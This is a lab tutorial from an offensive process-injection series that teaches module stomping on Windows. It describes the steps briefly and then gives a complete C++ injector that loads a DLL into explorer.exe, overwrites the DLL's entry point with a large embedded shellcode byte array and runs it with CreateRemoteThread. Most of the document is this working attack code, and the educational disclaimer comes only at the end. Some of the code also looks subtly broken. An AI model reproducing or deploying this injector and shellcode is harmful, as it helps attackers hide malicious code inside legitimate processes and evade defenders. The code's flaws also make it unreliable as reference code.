ProcessInjectionTechniques

This comprehensive process injection series is crafted for cybersecurity enthusiasts, researchers, and professionals who aim to stay at the forefront of the field. It serves as a central repository of knowledge, offering in-depth exploration of various process injection techniques used by adversaries.

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Module Stomping

UH

Overview

In this lab, we cover Module stomping technique, module stomping is to inject malicious code into a legitimate process without the usual red flags that traditional injection techniques might raise. Instead of loading custom or suspicious DLLs, attackers overwrite parts of a legitimate module with their own code, effectively hiding in plain sight.

Steps

  1. Getting the Target Process ID
  2. Finding the Base Address of a Loaded Module
  3. Allocating Memory in the Target Process
  4. Writing DLL Path to the Allocated Memory:
  5. Creating Remote Thread to Load the DLL:
  6. Finding the Base Address of the Injected DLL:
  7. Overwriting the DLL’s Entry Point with Shellcode:
  8. Executing the Shellcode:

Walkthrough

This function retrieves the Process ID (PID) of a running process by its name (processName).

	DWORD GetProcessIdByName(const std::wstring& processName) {
	DWORD processIds[1024], bytesReturned;
	if (!EnumProcesses(processIds, sizeof(processIds), &bytesReturned)) {
		std::cerr << "Failed to enumerate processes. Error: " << GetLastError() << std::endl;
		return 0;
	}

	DWORD processCount = bytesReturned / sizeof(DWORD);

	for (DWORD i = 0; i < processCount; ++i) {
		if (processIds[i] == 0) continue;

		HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processIds[i]);
		if (hProcess) {
			WCHAR processNameBuffer[MAX_PATH];
			if (GetModuleFileNameEx(hProcess, NULL, processNameBuffer, MAX_PATH)) {
				std::wstring currentProcessName(processNameBuffer);
				if (currentProcessName.find(processName) != std::wstring::npos) {
					CloseHandle(hProcess);
					return processIds[i];
				}
			}
			CloseHandle(hProcess);
		}
	}

	std::cerr << "Process not found." << std::endl;
	return 0;
}

This function finds the base address of a specific module (DLL) within a process by iterating through the loaded modules of the target process.

// Find our loaded module base
HMODULE FindModuleBase(HANDLE hProcess) {
	HMODULE hModuleList[1024];
	wchar_t moduleName[MAX_PATH];
	DWORD cb = sizeof(hModuleList);
	DWORD cbNeeded;
	
	if (EnumProcessModules(hProcess, hModuleList, cbNeeded, &cbNeeded)) {
		for (unsigned int i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
			
			if (GetModuleFileNameEx(hProcess, hModuleList[i], moduleName, (sizeof(moduleName) / sizeof(DWORD)))) {
				// Comapring if the module path has our dll
				if (wcsstr(moduleName, L"panda.dll") != nullptr) {
					return hModuleList[i];
					break;
				}
			}
		}
	}
	return 0;
}

Allocates memory in the target process (VirtualAllocEx) for storing the path to the DLL to be injected and write the path of DLL.

// Allocate memory in the target process
	rBuffer = VirtualAllocEx(pHandle, NULL, tSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (rBuffer == 0) {
		printf("%d\n", GetLastError());
		perror("[-] Failed to allocate memory in target process\n");
		exit(-1);
	}
	wprintf(L"[+] Memory allocated at remote process address: %p\n", rBuffer);

	// Writing target library path to the newly allocated memory in target process
	if (!WriteProcessMemory(pHandle, rBuffer, dllpath, tSize, NULL)) {
		perror("[-] Failed to write module in target process memory\n");
		exit(-1);
	}
	wprintf(L"[+] DLL path written to the allocated memory\n");

Retrieves the address of LoadLibraryA() from kernel32.dll. Calls CreateRemoteThread() to create a remote thread in the target process, which loads the specified DLL using LoadLibraryA().

// Getting Address to the LoadLibraryA and converting it to the Thread routine
	LPTHREAD_START_ROUTINE LoadModule = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
	if (LoadModule == NULL) {
		perror("[-] Couldn't find the module LoadLibraryA\n");
		exit(-1);
	}
	// Creating remote thread 
	// This will load our target module in the target process
	hTargetModule = CreateRemoteThread(pHandle, NULL, 0, LoadModule, rBuffer, 0, NULL);
	if (hTargetModule == INVALID_HANDLE_VALUE) {
		perror("[-] Failed to load module in target process memory\n");
		exit(-1);
	}
	wprintf(L"[+] Successfully loaded module in the memory...\n");
	WaitForSingleObject(hTargetModule, 2000);

Overwriting the DLL’s Entry Point with Shellcode and execute it.

//BYTE* targetDLLHeader[0x1000];
	LPVOID targetDLLHeader = { 0 };
	DWORD sizeOfHeader = 0x1000;
	// Allocate local heap
	targetDLLHeader = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeOfHeader);
	// Reading the header of target dll 
	ReadProcessMemory(pHandle, (LPVOID)moduleBase, targetDLLHeader, sizeOfHeader, NULL);
	PIMAGE_DOS_HEADER dosHeder = (PIMAGE_DOS_HEADER)targetDLLHeader;
	PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetDLLHeader + dosHeder->e_lfanew);
	// Getting entry point of the target dll
	DWORD_PTR dllEntryPoint = ntHeaders->OptionalHeader.AddressOfEntryPoint;
	wprintf(L"[+] DllEntryPoint offset: %p\n", (LPVOID)dllEntryPoint);
	// DLL EntryPoint in memory
	LPVOID dllEntryPointMem = (LPVOID)(dllEntryPoint + (DWORD_PTR)moduleBase);
	wprintf(L"[+] DllEntryPoint in memory: %p\n", dllEntryPointMem);

	// write shellcode to DLL's AddressofEntryPoint
	WriteProcessMemory(pHandle, (LPVOID)dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);

	// execute shellcode from inside the benign DLL
	CreateRemoteThread(pHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);

Full Code

#include <Windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <string>
#include <iostream>



const unsigned char shellcode[] = {
						0x40, 0x55, 0x57, 0x48, 0x81, 0xEC, 0xB8, 0x03,
	0x00, 0x00, 0x48, 0x8D, 0x6C, 0x24, 0x60, 0x65, 0x48, 0x8B, 0x04, 0x25,
	0x60, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00,
	0x48, 0x8B, 0x40, 0x18, 0x48, 0x89, 0x45, 0x08, 0x48, 0x8B, 0x45, 0x08,
	0xC6, 0x40, 0x48, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x8B, 0x40, 0x18,
	0x48, 0x83, 0xC0, 0x20, 0x48, 0x89, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48,
	0x8B, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x85,
	0x38, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6B, 0x00, 0x65, 0x00, 0x72, 0x00,
	0x6E, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x65, 0x00, 0x6C, 0x00,
	0x33, 0x00, 0x32, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48, 0xB8, 0x2E, 0x00,
	0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x48, 0x48, 0xC7,
	0x45, 0x50, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x50, 0x01, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x30, 0x01, 0x00, 0x00,
	0x48, 0x8B, 0x00, 0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B,
	0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x83, 0xE8, 0x10, 0x48, 0x89, 0x85,
	0x58, 0x01, 0x00, 0x00, 0xC7, 0x85, 0x60, 0x01, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x48, 0x8B, 0x85, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40,
	0x60, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x45, 0x38,
	0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0xC7, 0x85, 0x60, 0x01, 0x00,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,
	0x0F, 0xB7, 0x00, 0x85, 0xC0, 0x75, 0x0F, 0xC7, 0x85, 0x60, 0x01, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0xE9, 0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B,
	0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85, 0x64, 0x01,
	0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00,
	0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01,
	0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00,
	0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41,
	0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A,
	0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20,
	0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x64,
	0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE,
	0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00,
	0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85,
	0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F,
	0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85,
	0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01,
	0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,
	0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,
	0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,
	0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6,
	0x85, 0x64, 0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66,
	0x0F, 0xBE, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01,
	0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0,
	0x02, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40,
	0x01, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01,
	0x00, 0x00, 0x0F, 0xB7, 0x85, 0x68, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x8D,
	0x6C, 0x01, 0x00, 0x00, 0x3B, 0xC1, 0x0F, 0x84, 0xB5, 0xFE, 0xFF, 0xFF,
	0x83, 0xBD, 0x60, 0x01, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x2E, 0x01, 0x00,
	0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x83, 0xE8, 0x02,
	0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01,
	0x00, 0x00, 0x48, 0x83, 0xE8, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00,
	0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88,
	0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,
	0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B,
	0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x68,
	0x01, 0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,
	0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,
	0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,
	0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F,
	0xB6, 0x85, 0x64, 0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00,
	0x66, 0x0F, 0xBE, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x68,
	0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6,
	0x00, 0x88, 0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01,
	0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13,
	0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89,
	0x85, 0x6C, 0x01, 0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01,
	0x00, 0x00, 0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01,
	0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01,
	0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB,
	0x0D, 0x0F, 0xB6, 0x85, 0x64, 0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01,
	0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89,
	0x85, 0x6C, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x85, 0x68, 0x01, 0x00, 0x00,
	0x0F, 0xB7, 0x8D, 0x6C, 0x01, 0x00, 0x00, 0x2B, 0xC1, 0x89, 0x85, 0x60,
	0x01, 0x00, 0x00, 0x83, 0xBD, 0x60, 0x01, 0x00, 0x00, 0x00, 0x75, 0x10,
	0x48, 0x8B, 0x85, 0x58, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x50, 0x01,
	0x00, 0x00, 0xEB, 0x25, 0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48,
	0x8B, 0x00, 0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,
	0x30, 0x01, 0x00, 0x00, 0x48, 0x39, 0x85, 0x38, 0x01, 0x00, 0x00, 0x0F,
	0x85, 0xF9, 0xFC, 0xFF, 0xFF, 0x48, 0x8B, 0x85, 0x50, 0x01, 0x00, 0x00,
	0x48, 0x89, 0x85, 0x70, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6E, 0x00, 0x74,
	0x00, 0x64, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x6C,
	0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48,
	0xC7, 0x45, 0x48, 0x6C, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x45, 0x50, 0x00,
	0x00, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x78, 0x01, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x48, 0x8B, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00,
	0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x38, 0x01,
	0x00, 0x00, 0x48, 0x83, 0xE8, 0x10, 0x48, 0x89, 0x85, 0x80, 0x01, 0x00,
	0x00, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48,
	0x8B, 0x85, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x60, 0x48, 0x89,
	0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x45, 0x38, 0x48, 0x89, 0x85,
	0x40, 0x01, 0x00, 0x00, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x01, 0x00,
	0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00,
	0x85, 0xC0, 0x75, 0x0F, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0xE9, 0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01,
	0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x48,
	0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00,
	0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F,
	0xB7, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00, 0xEB, 0x46, 0x0F,
	0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F,
	0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F,
	0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x8D,
	0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C, 0x01, 0x00, 0x00,
	0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85, 0x8D, 0x01,
	0x00, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,
	0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85, 0x8C, 0x01, 0x00,
	0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D,
	0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00,
	0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01, 0x00, 0x00, 0xEB,
	0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41, 0x7C,
	0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F,
	0x12, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88,
	0x85, 0x8D, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C, 0x01,
	0x00, 0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85,
	0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01, 0x00, 0x00, 0x48,
	0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x02, 0x48, 0x89,
	0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00,
	0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F,
	0xB7, 0x85, 0x90, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x8D, 0x94, 0x01, 0x00,
	0x00, 0x3B, 0xC1, 0x0F, 0x84, 0xB5, 0xFE, 0xFF, 0xFF, 0x83, 0xBD, 0x88,
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	0x0F, 0xBE, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01,
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	0x24, 0x38, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x30, 0x00, 0x00,
	0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x00, 0x00, 0x48,
	0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0x41, 0xB9, 0xFF, 0xFF,
	0x1F, 0x00, 0x41, 0xB8, 0xFF, 0xFF, 0x1F, 0x00, 0x48, 0x8D, 0x95, 0xB0,
	0x02, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0xA8, 0x02, 0x00, 0x00, 0xFF, 0x95,
	0x08, 0x02, 0x00, 0x00, 0x89, 0x85, 0xB8, 0x02, 0x00, 0x00, 0x48, 0xB8,
	0x4E, 0x74, 0x53, 0x75, 0x73, 0x70, 0x65, 0x6E, 0x48, 0x89, 0x45, 0x10,
	0x48, 0xB8, 0x64, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00, 0x48, 0x89,
	0x45, 0x18, 0x48, 0x8D, 0x55, 0x10, 0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00,
	0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xC0, 0x02,
	0x00, 0x00, 0x33, 0xD2, 0x48, 0xC7, 0xC1, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF,
	0x95, 0xC0, 0x02, 0x00, 0x00, 0x48, 0x8D, 0xA5, 0x58, 0x03, 0x00, 0x00,
	0x5F, 0x5D, 0xC3
};

DWORD GetProcessIdByName(const std::wstring& processName) {
	DWORD processIds[1024], bytesReturned;
	if (!EnumProcesses(processIds, sizeof(processIds), &bytesReturned)) {
		std::cerr << "Failed to enumerate processes. Error: " << GetLastError() << std::endl;
		return 0;
	}

	DWORD processCount = bytesReturned / sizeof(DWORD);

	for (DWORD i = 0; i < processCount; ++i) {
		if (processIds[i] == 0) continue;

		HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processIds[i]);
		if (hProcess) {
			WCHAR processNameBuffer[MAX_PATH];
			if (GetModuleFileNameEx(hProcess, NULL, processNameBuffer, MAX_PATH)) {
				std::wstring currentProcessName(processNameBuffer);
				if (currentProcessName.find(processName) != std::wstring::npos) {
					CloseHandle(hProcess);
					return processIds[i];
				}
			}
			CloseHandle(hProcess);
		}
	}

	std::cerr << "Process not found." << std::endl;
	return 0;
}

// Find our loaded module base
HMODULE FindModuleBase(HANDLE hProcess) {
	HMODULE hModuleList[1024];
	wchar_t moduleName[MAX_PATH];
	DWORD cb = sizeof(hModuleList);
	DWORD cbNeeded;
	
	if (EnumProcessModules(hProcess, hModuleList, cbNeeded, &cbNeeded)) {
		for (unsigned int i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
			
			if (GetModuleFileNameEx(hProcess, hModuleList[i], moduleName, (sizeof(moduleName) / sizeof(DWORD)))) {
				// Comapring if the module path has our dll
				if (wcsstr(moduleName, L"panda.dll") != nullptr) {
					return hModuleList[i];
					break;
				}
			}
		}
	}
	return 0;
}

int main() {
	HANDLE pHandle;
	PVOID rBuffer;
	HANDLE hTargetModule = NULL;
	LPCSTR  dllpath = "E:\\My Directory\\PE-DATA\\Module_Stomping\\x64\\Release\\panda.dll";
	

	std::wstring processName = L"explorer.exe"; // Replace with your process name
	DWORD pid = GetProcessIdByName(processName);

	pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (pHandle == INVALID_HANDLE_VALUE) {
		perror("[-] Couldn't find the target process\n");
		exit(-1);
	}

	size_t tSize = lstrlenA(dllpath);
	// Allocate memory in the target process
	rBuffer = VirtualAllocEx(pHandle, NULL, tSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (rBuffer == 0) {
		printf("%d\n", GetLastError());
		perror("[-] Failed to allocate memory in target process\n");
		exit(-1);
	}
	wprintf(L"[+] Memory allocated at remote process address: %p\n", rBuffer);

	// Writing target library path to the newly allocated memory in target process
	if (!WriteProcessMemory(pHandle, rBuffer, dllpath, tSize, NULL)) {
		perror("[-] Failed to write module in target process memory\n");
		exit(-1);
	}
	wprintf(L"[+] DLL path written to the allocated memory\n");

	// Getting Address to the LoadLibraryA and converting it to the Thread routine
	LPTHREAD_START_ROUTINE LoadModule = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
	if (LoadModule == NULL) {
		perror("[-] Couldn't find the module LoadLibraryA\n");
		exit(-1);
	}
	// Creating remote thread 
	// This will load our target module in the target process
	hTargetModule = CreateRemoteThread(pHandle, NULL, 0, LoadModule, rBuffer, 0, NULL);
	if (hTargetModule == INVALID_HANDLE_VALUE) {
		perror("[-] Failed to load module in target process memory\n");
		exit(-1);
	}
	wprintf(L"[+] Successfully loaded module in the memory...\n");
	WaitForSingleObject(hTargetModule, 2000);
	// Finding loaded module base
	HMODULE moduleBase = FindModuleBase(pHandle);
	if (moduleBase == 0) {
		perror("[-] Module is not loaded in the memory\n");
		exit(0);
	}

	//BYTE* targetDLLHeader[0x1000];
	LPVOID targetDLLHeader = { 0 };
	DWORD sizeOfHeader = 0x1000;
	// Allocate local heap
	targetDLLHeader = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeOfHeader);
	// Reading the header of target dll 
	ReadProcessMemory(pHandle, (LPVOID)moduleBase, targetDLLHeader, sizeOfHeader, NULL);
	PIMAGE_DOS_HEADER dosHeder = (PIMAGE_DOS_HEADER)targetDLLHeader;
	PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetDLLHeader + dosHeder->e_lfanew);
	// Getting entry point of the target dll
	DWORD_PTR dllEntryPoint = ntHeaders->OptionalHeader.AddressOfEntryPoint;
	wprintf(L"[+] DllEntryPoint offset: %p\n", (LPVOID)dllEntryPoint);
	// DLL EntryPoint in memory
	LPVOID dllEntryPointMem = (LPVOID)(dllEntryPoint + (DWORD_PTR)moduleBase);
	wprintf(L"[+] DllEntryPoint in memory: %p\n", dllEntryPointMem);

	// write shellcode to DLL's AddressofEntryPoint
	WriteProcessMemory(pHandle, (LPVOID)dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);

	// execute shellcode from inside the benign DLL
	CreateRemoteThread(pHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);

	return 0;
}

Demonstration

For GitHub-Repo Click Here: Offensive-Panda/ProcessInjectionTechniques

Disclaimer

The content provided on this series is for educational and informational purposes only. It is intended to help users understand cybersecurity concepts and techniques for improving security defenses!